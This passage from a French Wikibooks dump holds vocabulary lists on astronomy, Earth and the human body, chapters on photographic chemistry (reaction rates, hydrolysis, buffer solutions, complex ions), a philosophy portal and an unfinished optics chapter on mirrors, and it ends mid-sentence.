*24 milieu *25 bord *26 révolution *27 mouvement *28 trajectoire *29 distance *30 rayon *31 diamètre *32 sphère *33 couche *34 masse *35 superficie *36 température *37 froid *38 chaleur *39 geler *40 fondre *41 fusion *42 combustion *43 extrême *44 variable *45 régulier *46 circulaire *47 ovale *48 annulaire *49 sphérique *50 ogival *51 radiation *52 plasma *53 voie galactique == système solaire== (V001) *1 astre *2 éruption *3 tache *4 lumière *5 planète *6 satellite *7 lune *8 anneau *9 météore *10 aérolithe *11 comète *12 étoile filante *13 météorite *14 collision *15 côté *16 invisible *17 solide *18 gelé *19 fluide *20 liquide *21 vaporeux *22 gazeux *23 atmosphère *24 gravitation *25 attraction *26 planétaire *27 terrestre *28 chute == technique astronomique== (V001) *1 observation *2 observatoire *3 télescope *4 objectif *5 miroir *6 tube *7 oculaire *8 statif *9 concave *10 convexe *11 plan *12 parabolique *13 hyperbolique *14 verre *15 céramique *16 aluminium *17 aluminisé *18 coupole *19 radiotélescope *20 capter *21 enregistrer *22 signal *23 trace == l'aventure cosmique== (V001) *1 fusée *2 satellite artificiel *3 navette == Autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Weltall allemand] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Universe interlingue (ex occidental)] - [http://mg.wikibooks.org/wiki/Voambolana_/_Izao_tontolo_izao malgache] - [http://tr.wikibooks.org/wiki/S%C3%B6z_hazinesi_/_Evren turc] - Vocabulaire / Terre 5257 24251 2005-10-25T18:45:34Z Oui 428 == ciel== (V001) *1 atmosphère *2 oxygène *3 azote *4 gaz rares *5 vent *6 tempête *7 ouragan *8 cyclone *9 bourrasque *10 orage *11 éclair *12 zéphire *13 mousson *14 nuage *15 pluie *16 neige *17 fin (bruine, neige ~) *18 brouillard *19 arc-en-ciel *20 couleur *21 rouge *22 orange *23 jaune *24 vert *25 bleu *26 bleu sombre *27 violet *28 pression atmosphérique == eau== (V001) *1 océan *2 mer *3 eau de mer *4 iceberg *5 eau douce *6 eau fraîche *7 eau potable *8 abîme *9 île *10 archipel *11 vague *12 marée *13 flux *14 reflux *15 rive *16 golf *17 baie *18 péninsule *29 isthme *20 détroit *21 niveau de la mer *23 delta *24 estuaire *25 fleuve *26 rivière *27 torrent *28 confluent *29 lac *30 cours *31 méandre *32 lit *33 mer de glace *34 glace *35 fondre *36 fonte == continent== (V001) *1 socle continental *2 plateau continental *3 montagne *4 chaîne montagneuse *5 sommet *6 crête *7 flanc *8 volcan *9 cratère *10 lave *11 fumée *12 éruption *13 altitude *14 plateau *15 colline *16 bosse, tumulaire *17 col *18 vallée *19 en haut *20 en amont *21 en bas *22 en aval *23 désert *24 plaine *25 Afrique *26 Amérique *27 Asie *28 Australie *29 Europe *30 Océanie == les deux hémisphères== (V001) *1 pôle *2 polaire *3 nord *4 sud *5 lumière *6 antipode *7 équateur *8 tropique *9 zone *10 modéré *11 polaire *12 gel *13 éternel *14 saison *15 alternance *16 inversion *17 courant *18 marin *19 atmosphérique *20 fluvial *21 relief *22 ras *23 affaissé *24 accidenté *25 escarpé *26 fissure *27 grotte *28 caverne *29 galerie *30 goutte *31 colonne *32 port *33 cité *34 village *35 habité *36 désertique *37 population *38 habitant *39 indigène *40 autochtone *41 flore *42 faune *43 économie *44 rural *45 maritime *46 citadin *47 agraire *48 industriel *49 minier *50 minerai *51 couche *52 roche *53 humus *54 argile *55 sable *56 pierre *57 calcaire *58 marbre *59 plâtre *60 sel == Autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Erde allemand] - [http://zh.wikibooks.org/wiki/C%C3%ADdi%C4%83n_/_sh%C3%ACji%C3%A8#l.C3.ACngw.C3.A0ide_y.C7.94yi.C3.A1n: chinois] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Terra interlingue (ex occidental)] - [http://mg.wikibooks.org/wiki/Voambolana_/_Ny_tany malgache] Vocabulaire / Homme 5258 24252 2005-10-25T18:46:34Z Oui 428 == tête== (V001) *1 crâne *2 cheveu, poil *3 bouclé *4 raide *5 touffu *6 tête chauve *7 tonsure *8 perruque *9 peau crânienne *10 cerveau *11 cervelle *12 apoplexie *13 front *14 oeil (pl. yeux) *15 paupière *16 sourcil *17 cil *18 globe oculaire *19 iris *20 pupille *21 cristallin *22 cornée *23 rétine *24 aveugle *25 oreille *26 oreille extérieure *27 orifice auditif *28 limaçon *29 sourd *30 nez *31 narine *32 poil de narine *33 joue *34 menton *35 barbe *36 bouc *37 moustache *38 bouche *39 lèvre *40 dent *41 abcès *42 gencive *43 langue *44 palais *45 membrane muqueuse *46 salive *47 amygdale *48 glotte *49 gorge *50 corde vocale *51 muet *52 glande thyroïde *53 cartilage thyroïde *54 cou *55 torticolis == corps== (V001) *1 thorax *2 dos *3 colonne vertébrale *4 moelle *5 nerf *6 côte *7 vertèbre *8 disque vertébral *9 épaule *10 aisselle *11 omoplate *12 poitrine *13 buste *14 sein *15 téton *16 trachée *17 poumon *18 alvéole *19 canal respiratoire *20 respiration *21 muscle respiratoire *22 suffoquer *23 congestion pulmonaire *24 oesophage *25 avaler *26 cœur *27 muscle cardiaque *28 ventricule *29 artère *30 veine *31 valvule *32 battement *33 palpitation *34 arrêt cardiaque *35 sang *36 circulation sanguine *37 pouls *38 globule *39 leucocyte *40 sérum *41 diaphragme *42 hoquet *43 ventre *44 abdomen *45 taille *46 foi *47 bile *48 vésicule biliaire *49 calcul biliaire *50 pancréas *51 diabète *52 estomac *53 roter *54 empoisonnement *55 digestion *56 flatulence *57 diarrhée *58 constipation *59 ulcère *60 hanche *61 pelvis *62 péritoine *63 tissu adipeux *64 intestin *65 grêle *66 gros *67 appendice *68 anus *69 déféquer *70 anus artificiel *71 cancer *72 rein *73 calcul rénal *74 vessie *75 ovaire *76 utérus *77 vagin *78 vulve *79 lèvre génitale *80 ovule *81 menstruation *82 douleur abdominale *83 prostate *84 urètre *85 testicule *86 pénis *87 glande *88 prépuce *89 sperme *90 colère hormonale *91 uriner *92 sciatique *93 nerf sciatique *94 postérieur *95 cul *96 aine *97 vaisseau lymphatique *98 lymphe *99 sueur *100 suer *101 hernie *102 squelette == membres== (V001) *1 bras *2 biceps *3 muscle *4 fibre *5 tendon *6 os *7 cartilage *8 coude *9 articulation *10 poignet *11 main *12 paume *13 doigt *14 phalange *15 pouce *16 ongle *17 racine d'ongle *18 empreinte digitale *19 arthrite *20 tendinite *21 jambe *22 cuisse *23 fémur *24 hanche *25 luxation au fémur *26 genou *27 articulation du genou *28 rotule *29 fluide synovial *30 effusion synoviale *31 mollet *32 os du mollet *33 cheville *34 pied *35 plante du pied *36 rhumatisme *37 peau *38 peau cornée *39 pore == Autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Mensch allemand] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Hom interlingue (ex occidental)] - [http://mg.wikibooks.org/wiki/Voambolana_/_Olombelona malgache] Photographie - 03 - Vitesse de réaction - Équilibre chimique 5259 44316 2006-06-11T07:27:34Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_03}} De très nombreuses réactions chimiques se produisent de façon quasi instantanée, voire explosive pour certaines. D'autres au contraire n'évoluent que progressivement, comme : <math>SO_4K + KI \to SO_4K_2 + 1/2 \;I_2 </math> La quantité de peroxysulfate de potassium et d'iodure de potassium qui disparaît par unité de temps diminue au fur et à mesure que la réaction se poursuit ou, ce qui revient au même, la quantité d'iode qui se forme augmente dans les mêmes proportions. On peut suivre facilement l'évolution de cette réaction grâce à la coloration intense du milieu réactif par l'iode. Il est possible dans un tel cas de définir un coefficient de '''vitesse de réaction'''. D'une manière générale, cette vitesse augmente en même temps que les concentrations et les températures, elle peut varier dans un sens ou dans l'autre avec la pression. Certains corps, appelés '''catalyseurs''', sont capables par leur seule présence de modifier dans des proportions considérables la vitesse de certaines réactions. Ils se retrouvent intacts après avoir joué leur rôle. La mousse de platine, par exemple, est capable de provoquer l'explosion d'un mélange d'oxygène et d'hydrogène dès la température ambiante, alors que sans platine il ne se passe rien, ce qui équivaut à une vitesse de réaction nulle. Les catalyseurs sont même capables, s'ils sont bien choisis, d'orienter certaines réactions dans divers sens. Il en est ainsi par exemple de la décomposition de l'acide méthanoïque (acide formique) en présence de divers oxydes : <math>HCOOH \to CO_2 + H_2 \quad</math> (oxyde de zinc) <math>HCOOH \to CO + H_2O \quad</math> (oxyde de titane) Les catalyseurs jouent un rôle très important dans l'industrie chimique et en particulier dans toute la branche des dérivés du carbone (chimie organique). Toutefois, la catalyse n'est pas toujours bénéfique. Certaines impuretés, même quand elles ne sont présentes qu'à l'état de traces, peuvent en effet causer des surprises désagréables. C'est le cas dans le domaine de la corrosion, et c'est aussi pourquoi il faut prendre certaines précautions pour la préparation des bains photographiques. Les réactions peuvent également être limitées (sous-entendu par les réactions inverses) : <math>I_2 + H_2 \Leftrightarrow 2\;IH</math> Ces réactions s'arrêtent d'elles-mêmes lorsqu'un certain '''équilibre''' est atteint. Les concentrations prennent alors des valeurs optimales en fonction des facteurs extérieurs (pression, température, ...). La variation de ces derniers peut provoquer le déplacement de l'équilibre dans un sens ou dans l'autre. Lorsqu'une action extérieure modifie un état d'équilibre mobile, '''le système réagit toujours dans le sens qui contrarie cette action''' (loi du déplacement de l'équilibre mobile, ou loi de Le Chatelier). Ainsi, pour donner quelques exemples : * Si on élève la température, on favorise les réactions endothermiques qui tendent à la faire baisser. La plupart des composés exothermiques sont ainsi partiellement décomposés à haute température : l'eau, le dioxyde de carbone (gaz carbonique), etc. * Les réactions qui s'accompagnent d'une diminution de volume sont favorisées par une augmentation de la pression (synthèse du diamant), en revanche la synthèse de l'acide chlorhydrique n'est pas influencée car elle a lieu à volume constant. Suite : '''[[Photographie - 03 - Hydrolyse|Hydrolyse]]''' Photographie - 03 - Hydrolyse 5262 44317 2006-06-11T07:27:55Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_03}} Lorsque l'on dissout dans l'eau un sel comme le chlorure de sodium NaCl, qui résulte de l'union d'un acide fort et d'une base forte, la solution ne comporte que des ions et le pH est pratiquement égal à celui du solvant, ici 7 si l'eau était pure. Par contre, si l'on dissout un sel <math>AB \,</math> provenant, par exemple, de l'union d'une base forte <math>BOH \,</math> avec un acide faible <math>AH \,</math>, il en va tout autrement : alors que les ions <math>B^+ \,</math> restent en solution, les ions <math>A^- \,</math> ont tendance à se combiner avec les ions <math>H_3O^+ \,</math> de l'eau pour reformer la molécule <math>AH \,</math>. Il en résulte que la solution s'enrichit en ions <math>OH^- \,</math> et devient basique. C'est l''''hydrolyse'''. Avec par exemple une solution normale d'éthanoate (acétate) de sodium <math>CH_3COONa \,</math>, appelée <math>ANa \,</math> pour simplifier, la constante de dissociation s'écrit : <math>K_a = \frac{\left[ A^-\right] \cdot \left[ H_3O^+\right]}{\left[ AH\right]} = 1,8\cdot 10^{-5}</math> Cette solution est électriquement neutre et contient donc autant d'ions négatifs que d'ions positifs. Par ailleurs <math>\left[ Na^+ \right] = 1</math> <math>\left[ A^-\right] + \left[ OH^-\right] = \left[ Na^+ \right] + \left[ H_3O^+\right]</math> : <math>\to \left[ A^- \right] = 1 + \left[ H_3O^+ \right] - \left[ OH^- \right] </math> par ailleurs <math>\left[ A^- \right] + \left[ AH \right] = 1</math> : <math>\to \left[ AH \right] = \left[ OH^- \right] - \left[ H_3O^+ \right]</math> En reportant ces différentes valeurs dans l'expression de Ka et en appelant X la concentration <math>\left[ H_3O^+ \right]</math>, on obtient une équation du 3e degré. <math>X^3 + X^2.(1 + Ka) - 10^{-14} \cdot X - 10^{-14} \cdot Ka = 0</math> équation qui admet une solution : <math>X = \left[ H_3O^+ \right] = 10^{-9,4}</math> Ainsi donc cette solution est basique, avec un pH de 9,4. Si l'on avait considéré un sel d'acide fort et de base faible on aurait eu le résultat inverse, c'est-à-dire un milieu acide et un pH inférieur à 7. Lorsque l'acide et la base sont tous deux faibles, la solution reste à peu près neutre, mais le sel n'est que partiellement ionisé. Si l'un des constituants peut s'éliminer par dégagement gazeux ou précipitation, l'équilibre ionique se trouve rompu et l'hydrolyse progresse jusqu'à être totale : <math>2 \, CO_3HK \to CO_3K_2 + H_2O + \overline{CO_2}^{\uparrow} </math> Il faut chauffer un peu, ce qui par modification de la valeur des constantes favorise l'hydrolyse tout en diminuant la solubilité du dioxyde de carbone. Certains sels sont même parfaitement incompatibles avec la moindre trace d'eau, même à l'état de vapeur, et sont par conséquent très difficiles à conserver. C'est le cas du sulfure d'aluminium : <math>Al_2S_3 + 6 \, H_2O \to 3 \, \overline{H_2S}^{\uparrow} + 2 \, \underline{Al(OH)_3}_{\downarrow}</math> Le sulfure d'hydrogène se dégage sous forme gazeuse tandis que l'hydroxyde d'aluminium insoluble précipite. L'hydrolyse régresse si l'on ajoute à un sel d'acide faible ou de base faible une base forte ou un acide fort. Une solution de chlorure d'ammonium <math>NH_4Cl \,</math> peut par exemple être évaporée sans perte d'ammoniac si l'on opère en présence d'acide chlorhydrique <math>HCl \,</math>. En effet, dans un tel cas, le sel a une réaction acide, c'est-à-dire qu'il tend à former des ions <math>H_3O^+</math> dans la solution. Si l'on ajoute de tels ions par addition d'un acide fort, on fera régresser le phénomène d'hydrolyse. suite : '''[[Photographie - 03 - Solutions-tampons - Mesure du pH|Solutions-tampons - Mesure du pH]]''' Wikilivres:Actualités 5263 21147 2005-09-14T12:25:12Z Marc 66 [[Wikilivres:Actualités]] déplacé vers [[Wikilivres:Nouveaux livres]]: titre plus explicite #redirect [[Wikilivres:Nouveaux livres]] Latin 5264 21158 2005-09-14T13:47:05Z 82.253.233.79 Redirection vers [[Méthode latine]] #redirect [[Méthode latine]] Modèle:Présocratiques 5268 21205 2005-09-14T21:16:33Z Marc 66 <br clear="all"> {| align="center" width="70%" style="background-color:#F0F0F0; border:1px solid #a0a0a0; border-right-width: 2px; border-bottom-width: 2px; text-align: center; font-family: sans-serif; font-size: 0.8em" |- bgcolor="#E0E0E0" align="center" | '''[[Présocratiques]]''' |---- | align="center" bgcolor="#F0F0F0" | <small>'''[[École milésienne]]'''&nbsp;: [[Thalès de Milet]]&nbsp;· [[Anaximandre]]&nbsp;· [[Anaximène]]&nbsp;· '''[[École pythagoricienne]]'''&nbsp;: [[Pythagore]]&nbsp;· [[Alcméon de Crotone]]&nbsp;· [[Philolaos de Crotone]]&nbsp;· [[Archytas de Tarente]]&nbsp;· [[Timée de Locres]]&nbsp;· [[Héraclite d'Éphèse]]&nbsp;· [[Xénophane de Colophon]]&nbsp;· [[Parménide]]&nbsp;· [[Zénon d'Élée]]&nbsp;· [[Anaxagore de Clazomènes]]&nbsp;· [[Diogène d'Apollonie]]&nbsp;· [[Empédocle d'Agrigente]]&nbsp;· '''[[Les Sophistes]]'''&nbsp;: [[Protagoras d'Abdère]]&nbsp;· [[Prodicos de Céos]]&nbsp;· [[Gorgias]]&nbsp;· [[Hippias d'Élis]]&nbsp;· [[Critias]]&nbsp;· '''[[Atomisme]]'''&nbsp;: [[Leucippe]]&nbsp;· [[Démocrite]] </small> |} Philosophie 5270 47180 2006-07-03T08:21:34Z Guillaumito 46 correction lien interne {| cellspacing="5px" cellpadding="5px" style="background-color:transparent;" align="center" |---- valign="top" | align="center" style="background-color:#E8E5FF;border: 1px solid #4C6099;-moz-border-radius:1em;" | <span style="font-size:130%">'''Philosophie'''</span> |---- valign="top" | style="background-color:#FFFFFF;border: 1px solid #4C6099;" | :[[Philosophie/Histoire de la philosophie|Histoire de la philosophie]] :[[Philosophie/Manuel de terminale|Manuel de terminale]][[Image:red.png]] ---- '''Cours''' *[[Philosophie/Faire le vrai|Faire le vrai]] '''Portails''' *[[Portail:Friedrich Nietzsche|Friedrich Nietzsche]] '''Autres''' *[[Philosophie/Fiches de lecture|Fiches de lecture]] ---- '''Liens vers d'autres projets''' *[[s:Catégorie:Philosophie|Bibliothèque philosophique Wikisource]] *[[w:Histoire de la philosophie|Histoire de la philosophie]] *[[w:Philosophie de l'histoire|Philosophie de l'histoire]] *[[wikt:Portail:Philosophie|Portail philosophie du Wiktionnaire]] |} [[Catégorie:Philosophie]] Optique 5273 31058 2006-01-31T21:51:18Z 82.237.246.99 /* Introduction */ =Optique classique= ==Introduction== L'optique géométrique est la partie de l'optique qui fut historiquement la première à être développée. En effet, la notion de rayon y est centrale. Et celle-ci est, en raison de son caractère géométrique, facilement compréhensible. Par contre, l'optique ondulatoire est, elle, malaisée à comprendre par le simple fait qu'elle explique difficilement cette même notion de rayon. C'est la raison pour laquelle, c'est l'optique géométrique que nous aborderons en premier. [[Catégorie:Physique]] ==Historique== La notion de rayon à une longue histoire qui ne concerne pas le propos de ce cours. Cependant, il faut dire que celle-ci fut principalement développée au cours du moyen-âge arabe par Ibn-al-Haytam, autrement dit Halazen, qui fut le premier à discerner le caractère physique (la lumière physique elle-même) et le caractère géométrique de la notion de rayon. C'est à partir de cette distinction que l'optique géométrique va pouvoir se construire. C'est, par exemple, grâce à celle-ci que l'explication de la formation des images par les miroirs fut découverte. ==La réflexion== Le phénomène de réflexion traduit le renvoi de la lumière par un miroir. Évidemment, ce renvoi existe aussi sur d'autres surfaces que celles des miroirs. Sur celles-ci, la réflexion existe aussi et la loi de la réflexion est valable, mais en première approximation on peut les dire assez chaotiques pour que l'ensemble des rayons réfléchis ne le soient pas dans une direction privilégiée, contrairement au cas de la surface d'un miroir. C'est pourquoi, la loi de la réflexion s'exprime surtout dans le cas de surfaces dites réfléchissantes comme celles des miroirs. ===Loi de la réflexion=== {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Reflexion.png|150px|center|frame|Figure 1.1 - La réflexion]] |- align=center |} Celle-ci est connue depuis les grecs. C'est une loi phénoménologique qui n'explique en rien la réflexion sur un miroir (dont le caractère lisse n'est qu'un effet d'échelle). L'explication de la réflexion est une véritable aventure scientifique que nous ne développerons pas ici. La loi de la réflexion fut exprimée par Ibn-al-Haytam (965-1039) dans son "Discours de la lumière" : :"le mouvement incident est composé du mouvement dans la direction de la normale à l'intérieur de l'obstacle et du mouvement dans la direction de la normale à la première qui est elle-même prolongée dans le plan où se trouve le mouvement incident" Le faisceau incident à deux mouvement : l'un perpendiculairement à la surface réfléchissante et l'autre parallèlement. Ce dernier est simplement prolongé, alors que le premier s'inverse. Elle peut aussi être formulée sous forme mathématique : {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Surfreflechissante.png|150px|center|frame|Figure 1.2 - La nature de la surface]] |- align=center |} Soit <math>\alpha</math> l'angle entre le rayon incident et la normale à la surface et soit <math>\beta</math> celui entre le rayon réfléchi (voir figure 1.1) et cette même normale, alors <center><math>\alpha=\beta</math></center> Bien entendu, cette réflexion existe pour toutes les matières. Ce qui fait la différence entre les surfaces réfléchissantes et celles qui ne le sont pas tient en première analyse au côté lisse de la surface. Les surfaces réfléchissantes seraient assez lisses pour que la réflexion renvoie tous les rayons réfléchis issus de rayons incident parallèles dans la même direction, alors que les surfaces non réfléchissantes, en raison de leur caractère chaotique, les renverraient dans toutes les direction (voir figure 2.2). ===Le miroir plat=== Le problème du miroir plat est celui de la compréhension de la formation de l'image. Celle-ci repose sur la distinction faite par Alazen précédemment mentionnée entre rayon physique et rayon géométrique. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Miroir.png|150px|center|frame|Figure 1.3 - Le miroir plat]] |- align=center |} Avec un tel miroir on peut utiliser la loi de la réflexion. L'objet émet une multitude de rayons lumineux dans toutes les directions, notamment en direction du miroir. Parmis ces rayons, seuls certains parviennent à l'oeil qui regarde le miroir. La situation est celle présentée sur la figure 1.3. Alors que le rayon physique qui vient de l'objet est cassé par la réflexion sur le miroir, le rayon géométrique, qui sous-tend la partie du rayon\index{rayon physique} physique qui parvient à l'oeil, se prolonge quant à lui au-delà du miroir selon une ligne droite. Chaque rayon physique parvenant à l'oeil peut ainsi être prolongé en un rayon virtuel dont la composition géométrique restitue une image de l'objet qui semble située à l'arrière du miroir, comme on le voit sur la figure 1.3. Elle constitue ce qu'on appelle une image virtuelle, c'est-à-dire une image qui n'est constituée d'aucun rayon physique. ===Le miroir sphérique=== Naturellement, depuis fort longtemps, l'idée de concentrer les rayons lumineux pour augmenter leur "pouvoir" est venue aux hommes. Le modèle géométrique de la réflexion a tout d'abord permis de comprendre qu'il fallait courber la surface réfléchissante. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Spherique.png|150px|center|frame|Figure 1.4 - Le miroir sphérique]] |- align=center |} Comme la courbe qui vient le plus simplement à l'esprit est le cercle, les premiers miroirs concentrateurs ont été sphériques. Mais rapidement une autre courbe fut mise en évidence : la parabole. En effet, la convergence des rayons sur un miroir sphérique n'est que partielle : les rayons parallèles à l'axe optique parvenant aux bords du miroir sont en effet réfléchis sur l'axe optique plus près du miroir que ceux parvenant plus au centre du miroir (voir figure 1.4 : On remarque que les rayons réfléchis ne se croisent pas en un même point sur l'axe optique : il n'y a pas de foyer). ===Le miroir parabolique=== Par contre, avec un miroir parabolique, les bords du miroir étant plus aplatis (voir figure 1.5) que pour un miroir sphérique, ils permettent aux rayons parallèles à l'axe optique qui les frappent de converger vers un même point que ceux du centre. Ce point est désigné par le terme de foyer du miroir. Ainsi, un miroir parabolique possède un foyer, au contraire d'un miroir sphérique. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Parabolique.png|150px|center|frame|Figure 1.5 - Le miroir parabolique]] |- align=center |} Il existe évidemment beaucoup d'applications aux miroirs paraboliques. Remarquons tout d'abord que les miroirs paraboliques ne sont pas facile à construire. Mais, en bonne approximation, le centre d'un miroir sphérique est parabolique. Il s'agit donc de construire des miroirs très plats. ===Le télescope=== C'est un excellent exemple de miroir parabolique. Pour des raisons que nous verrons plus tard, l'observation des étoiles est facilitée par l'utilisation de télescope (comportant des miroirs), par opposition à celle de lunettes (comportant des lentilles). Dans les télescopes se trouvent en effet deux miroirs. L'un est dit secondaire et est plat et l'autre dit primaire est parabolique (voir figure 1.6). [[Image:Telescope_newton_schema.png|center|frame|Figure 1.6 - Le télescope]] ===Le phare de voiture=== De nos jours les phares des voitures sont munis de réflecteurs qui ne sont pas paraboliques. Ils sont construits sur la base de la loi de la réflexion pour éclairer sélectivement certaines parties de la route. Pourtant les anciens phares étaient de forme parabolique et l'ampoule se trouvait au foyer de la parabole de manière à ce que les rayons réfléchis soient envoyés vers l'avant parallèlement à l'axe optique. ===La lampe de poche=== De la même manière une lampe de poche est munie d'un réflecteur plus ou moins parabolique sensé diriger les rayons parallèlement à l'axe de la lampe. ===Le four solaire=== Une application d'un tout autre type exploite aussi la focalisation des rayons sur un miroir parabolique. Cette fois-ci la source de lumière n'est pas placée au foyer mais à l'infini tout comme dans le cas du télescope. Il s'agit du soleil qui fait parvenir ses rayons parallèlement jusqu'au miroir. Si ce dernier a son axe optique parallèle au rayons solaires, c'est-à-dire si celui-ci est orienté vers le soleil, alors toute l'intensité lumineuse est concentrée au foyer. Cela permet d'obtenir une grande quantité d'énergie localisée en un seul point. C'est le principe du four solaire à concentration. Il en existe de plusieurs types : pour la cuisson domestique comme pour les très hautes températures : 3500°C. ===L'antenne parabolique de télévision=== Tout le monde connaît les antennes paraboliques de télévision (voir figure 1.7). Ce sont des surfaces paraboliques qui concentrent le rayonnement provenant d'un satellite en orbite géostationnaire pour augmenter l'intensité du signal reçu. Au foyer de la parabole se trouve un détecteur qui va transformer le rayonnement reçu en un signal électrique. Pourquoi ne pas mettre seulement ce détecteur et se passer de la parabole. Simplement car le signal émis par le satellite se disperse (pour couvrir une zone importante) et son intensité ne serait pas détectable par le détecteur seul. La parabole concentre donc son rayonnement, augmente son intensité au foyer et permet la détection. Insérer figure 1.7 ===Le rétroviseur=== Photographie - 03 - Solutions-tampons - Mesure du pH 5274 44318 2006-06-11T07:28:13Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_03}} Si la solution normale d'éthanoate de sodium prise comme exemple pour l'étude de l'hydrolyse contenait en outre 0,1 mole d'hydroxyde de sodium par litre, le calcul de son pH indiquerait alors une valeur très voisine de 13, c'est-à-dire la valeur qu'il prendrait si l'hydroxyde de sodium était seul. En ajoutant de l'acide chlorhydrique à la même concentration, on obtiendrait maintenant un pH de 5,7 et non pas de 1, valeur qui correspondrait à l'acide seul. Dans ce cas l'acide chlorhydrique, qui est un acide fort, déplace l'acide éthanoïque de son sel et se trouve donc neutralisé. On considère maintenant un litre de solution contenant 0,5 mole d'acide éthanoïque et 0,5 mole d'éthanoate de sodium. Le pH de cette solution vaut 4,75. Cette fois, l'addition de 0,1 mole d'hydroxyde de sodium ne fait passer le pH qu'à 4,9 et celle de 0,1 mole d'acide chlorhydrique à 4,6. La variation du pH est bien plus faible que dans le cas précédent, ce qui s'explique de la façon suivante : l'addition d'un acide fort a pour effet de déplacer l'acide faible dont la molécule se reforme sans que l'acidité soit considérablement augmentée, tandis qu'une même quantité de base forte provoque seulement la neutralisation partielle de l'acide libre. De telles solutions, dites '''solutions-tampons''', sont d'usage courant lorsque le pH d'un milieu doit être maintenu à une valeur sensiblement constante, ce qui est souvent le cas, en particulier dans les bains photographiques. On mélange un acide faible et l'un de ses sels de base forte pour obtenir des pH inférieurs à 7, une base faible et un de ses sels d'acide fort pour les valeurs supérieures à 7. Ces corps doivent évidemment être inertes vis-à-vis de ceux dont on veut contrôler la réaction. Les corps '''amphotères''' sont capables de neutraliser aussi bien un acide qu'une base. L'hydroxyde d'étain en est un exemple : <math>SnO_2H_2 + 2 HCl \to SnCl_2 + 2 H_20 \,</math> ::::(chlorure stanneux) <math>SnO_2H2 + NaOH \to NaSnO_2H + H_2O \,</math> ::::(stannite de sodium) Le type même du corps amphotère est d'ailleurs l'eau, qui fournit aussi facilement des ions acide <math>H_3O^+ \,</math> que des ions basiques <math>OH^- \,</math>. La mesure précise du pH des solutions se fait par des méthodes électriques et l'on construit des '''pH-mètres''' dont la sensibilité atteint 0,1 unité. Pour des déterminations moins précises mais plus rapides on se sert d'indicateurs colorés, composés amphotères dont la couleur change de part et d'autre d'une zone sensible plus ou moins large. On peut citer : * l'hélianthine qui est rouge au-dessous de 3 et jaune au-dessus de 4,5, * la phtaléine du phénol incolore au-dessous de 8 et pourpre intense au-dessus de 10. On fabrique également des '''papiers indicateurs de pH''', imprégnés d'un mélange d'indicateurs colorés judicieusement choisis de telle sorte qu'à chaque valeur du pH on obtienne une teinte différente. Il suffit de tremper ces papiers dans la solution à étudier et de comparer la couleur obtenue à une charte fournie par le fabricant. On trouve aussi des bandelettes comportant plusieurs pastilles colorées dont chacune vire pour une valeur différente du pH. Le choix est relativement vaste entre les papiers « universels » et les bandelettes spécialisées pour les pH faibles, forts ou moyens, ou pour certaines zones spécifiques. Les indicateurs colorés sont peu onéreux pour des mesures occasionnelles et leur mise en œuvre est immédiate. Ces avantages sont contrebalancés par une précision pas toujours excellente. Parfois les résultats peuvent être complètement faux si les corps en solution décomposent les indicateurs. suite : '''[[Photographie - 03 - Ions complexes|Ions complexes]]''' Photographie - 03 - Ions complexes 5275 44319 2006-06-11T07:28:37Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_03}} Il arrive fréquemment que certains ions puissent réagir sur d'autres ions ou sur des molécules pour former de nouveaux ions de structure plus complexe. L'acide perchlorique <math>HClO_4 \,</math>, le plus fort acide connu, ne donne en solution que des ions <math>ClO_4^- \,</math> et des ions <math>H_3O^+ \,</math>,, aucune réaction ne permet de mettre en évidence d'autres ions, chlore et oxygène par exemple. L'ion composé est donc, dans ces conditions, parfaitement stable. Dans le même ordre d'idées, les ions <math>Co^{+++} \,</math> du chlorure de cobalt <math>CoCl_3 \,</math> peuvent fixer six molécules d'ammoniac pour donner le chlorure de cobaltihexammine <math>Co(NH_3)_6Cl_3 \,</math>. L'ammoniac qui se trouve dans l''''ion complexe''' <math>Co(NH_3)_6^{+++} \,</math> est totalement dissimulé à ses réactifs habituels. Par contre, d'autres ions complexes sont très instables : la dissolution du gaz ammoniac dans l'eau engendre une base partiellement ionisée où existe l'ion ammonium. <math>NH_3 + H_3O^+ + OH^- \leftrightarrow NH_4^+ + OH^- \leftrightarrow NH_4OH</math> L'ion ammonium ainsi formé est instable et il suffit de chauffer quelque peu la solution pour faire évaporer l'ammoniac. Entre les cas où les ions simples peuvent coexister sans réagir et ceux où ils se combinent entièrement, toutes les possibilités intermédiaires sont possibles et on se trouve alors en présence d'équilibres du type : <math>A + nB \leftrightarrow (AB_n) \,</math> avec <math>K = \frac{\left[ A \right] \cdot \left[ B\right]^n}{\left[ AB_n\right]}</math> Lors du fixage des surfaces sensibles, les halogénures d'argent <math>XAg \,</math> très peu solubles passent à l'état de sels complexes en présence des ions thiosulfate (hyposulfite), en deux temps : <math>XAg + Na_2S_2O_3 \leftrightarrow Ag(S_2O_3)Na + XNa</math> ::(argentimonothiosulfate '''insoluble''') <math>XAg + 2 Na_2S_2O_3 \leftrightarrow Ag(S_2O_3)_2Na_3 + XNa</math> ::(argentidithiosulfate '''soluble''') Certains ions étant inchangés, cette dernière réaction s'écrit plus simplement : <math>Ag^+ + 2 S_2O_3^{--} \leftrightarrow Ag(S_2O_3)_2^{---}</math> avec des constantes telles que : <math>K = \frac{\left[ Ag^+\right] \cdot \left[ S_2O_3^{--}\right]}{\left[ Ag(S_2O_3)_2^{---}\right]} = 10^{-13}</math> La solubilité des halogénures d'argent est très faible et donnée par les '''produits de solubilité''' suivants : <math>\left[ Ag^+\right] +\cdot \left[ Cl^-\right] = 10^{-10}</math> <math>\left[ Ag^+\right] \cdot \left[ Br^-\right] = 3,15 \cdot 10^{-13}</math> <math>\left[ Ag^+\right] \cdot \left[ I^-\right] = 4,4\cdot 10^{-14}</math> Lors du fixage des films et des papiers argentiques, au fur et à mesure que le sel d'argent passe à l'état de complexe, la concentration en ions thiosulfate diminue et celle des 